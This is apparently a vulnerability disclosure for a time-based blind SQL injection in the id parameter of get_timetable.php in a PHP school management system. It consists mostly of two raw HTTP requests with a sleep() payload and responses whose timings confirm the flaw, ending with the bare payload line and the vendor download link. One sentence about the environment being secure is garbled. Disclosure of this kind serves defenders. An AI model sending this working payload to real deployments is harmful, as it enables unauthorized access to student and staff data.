

SQL injection vulnerability exists in id parameter of /model/get\_timetable.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

**Request**

Pretty Raw Hex

```
1 GET /std1/model/get_timetable.php?id=
  (select(0)from(select(sleep(4)))v) HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11
```

**Response**

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 15:45:05 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 42
8
9 [null,null,null,null,null,null,null,null]
```

Done 230 bytes | 4,051 millis

Sleep time is 14s:

**Request**

Pretty Raw Hex

```
1 GET /std1/model/get_timetable.php?id=
  (select(0)from(select(sleep(14)))v) HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11
```

**Response**

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 15:45:43 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 42
8
9 [null,null,null,null,null,null,null,null]
```

Done 230 bytes | 14,006 millis

Payload: id=(select(0)from(select(sleep(14)))v)

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>